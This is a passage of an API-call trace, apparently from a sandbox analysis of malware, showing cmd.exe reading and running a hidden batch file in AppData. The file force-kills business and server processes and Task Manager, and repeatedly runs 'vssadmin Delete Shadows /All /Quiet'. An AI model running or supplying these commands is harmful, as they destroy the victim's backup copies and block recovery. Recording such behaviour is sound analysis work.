[0094.156] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0094.157] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0094.157] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0094.157] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0094.157] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.157] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.157] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0094.157] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0094.157] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0094.159] CloseHandle (hObject=0x78) returned 1 [0094.159] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0094.159] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0094.159] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0094.723] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0094.723] CloseHandle (hObject=0x74) returned 1 [0094.724] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0094.724] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0094.724] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0094.724] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0094.724] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0094.724] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0094.724] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0094.724] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0094.724] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0094.724] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0094.724] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0094.724] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0094.724] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0094.725] SetConsoleInputExeNameW () returned 0x1 [0094.725] GetConsoleOutputCP () returned 0x1b5 [0094.725] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0094.725] SetThreadUILanguage (LangId=0x0) returned 0x409 [0094.725] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0094.725] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0094.725] _get_osfhandle (_FileHandle=3) returned 0x74 [0094.725] SetFilePointer (in: hFile=0x74, lDistanceToMove=1379, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x563 [0094.725] _get_osfhandle (_FileHandle=3) returned 0x74 [0094.725] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x563 [0094.725] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x10d, lpOverlapped=0x0) returned 1 [0094.725] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=269, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 269 [0094.725] _get_osfhandle (_FileHandle=3) returned 0x74 [0094.725] GetFileType (hFile=0x74) returned 0x1 [0094.725] _get_osfhandle (_FileHandle=3) returned 0x74 [0094.725] SetFilePointer (in: hFile=0x74, lDistanceToMove=-216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x598 [0094.725] _tell (_FileHandle=3) returned 1432 [0094.725] _close (_FileHandle=3) returned 0 [0094.725] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0094.726] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0094.727] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0094.727] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.727] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.728] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0094.728] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0094.728] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0094.730] CloseHandle (hObject=0x74) returned 1 [0094.730] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0094.730] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0094.730] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0095.696] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0095.696] CloseHandle (hObject=0x78) returned 1 [0095.697] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0095.697] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0095.697] GetEnvironmentStringsW () returned 0x4a67d8* [0095.697] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0095.697] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0095.697] GetEnvironmentStringsW () returned 0x4a67d8* [0095.697] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0095.697] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0095.697] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0095.697] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0095.697] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0095.697] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0095.697] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0095.697] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0095.697] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0095.698] SetConsoleInputExeNameW () returned 0x1 [0095.698] GetConsoleOutputCP () returned 0x1b5 [0095.698] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0095.698] SetThreadUILanguage (LangId=0x0) returned 0x409 [0095.698] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0095.698] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0095.698] _get_osfhandle (_FileHandle=3) returned 0x78 [0095.698] SetFilePointer (in: hFile=0x78, lDistanceToMove=1432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x598 [0095.698] _get_osfhandle (_FileHandle=3) returned 0x78 [0095.698] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x598 [0095.698] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0xd8, lpOverlapped=0x0) returned 1 [0095.698] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=216, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 216 [0095.698] _get_osfhandle (_FileHandle=3) returned 0x78 [0095.698] GetFileType (hFile=0x78) returned 0x1 [0095.698] _get_osfhandle (_FileHandle=3) returned 0x78 [0095.698] SetFilePointer (in: hFile=0x78, lDistanceToMove=-169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5c7 [0095.699] _tell (_FileHandle=3) returned 1479 [0095.699] _close (_FileHandle=3) returned 0 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0095.699] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0095.700] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0095.700] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0095.700] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0095.700] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0095.700] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0095.700] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1 [0095.700] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="TASKKILL /F /IM torgsoft.exe /IM torgsoft.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kFT6uTQW\\Desktop", lpStartupInfo=0x1eeca4*(cb=0x48, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="TASKKILL /F /IM torgsoft.exe /IM torgsoft.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1eecf0 | out: lpCommandLine="TASKKILL /F /IM torgsoft.exe /IM torgsoft.exe ", lpProcessInformation=0x1eecf0*(hProcess=0x74, hThread=0x78, dwProcessId=0x8e4, dwThreadId=0x898)) returned 1 [0095.702] CloseHandle (hObject=0x78) returned 1 [0095.703] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0095.703] GetEnvironmentStringsW () returned 0x4a67d8* [0095.703] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0095.703] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0096.224] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0096.224] CloseHandle (hObject=0x74) returned 1 [0096.224] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0096.224] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0096.225] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0096.225] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0096.225] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0096.225] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0096.225] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0096.225] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0096.225] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0096.225] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0096.225] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0096.225] SetConsoleInputExeNameW () returned 0x1 [0096.225] GetConsoleOutputCP () returned 0x1b5 [0096.225] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0096.225] SetThreadUILanguage (LangId=0x0) returned 0x409 [0096.225] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0096.225] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0096.225] _get_osfhandle (_FileHandle=3) returned 0x74 [0096.226] SetFilePointer (in: hFile=0x74, lDistanceToMove=1479, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c7 [0096.226] _get_osfhandle (_FileHandle=3) returned 0x74 [0096.226] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5c7 [0096.226] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, 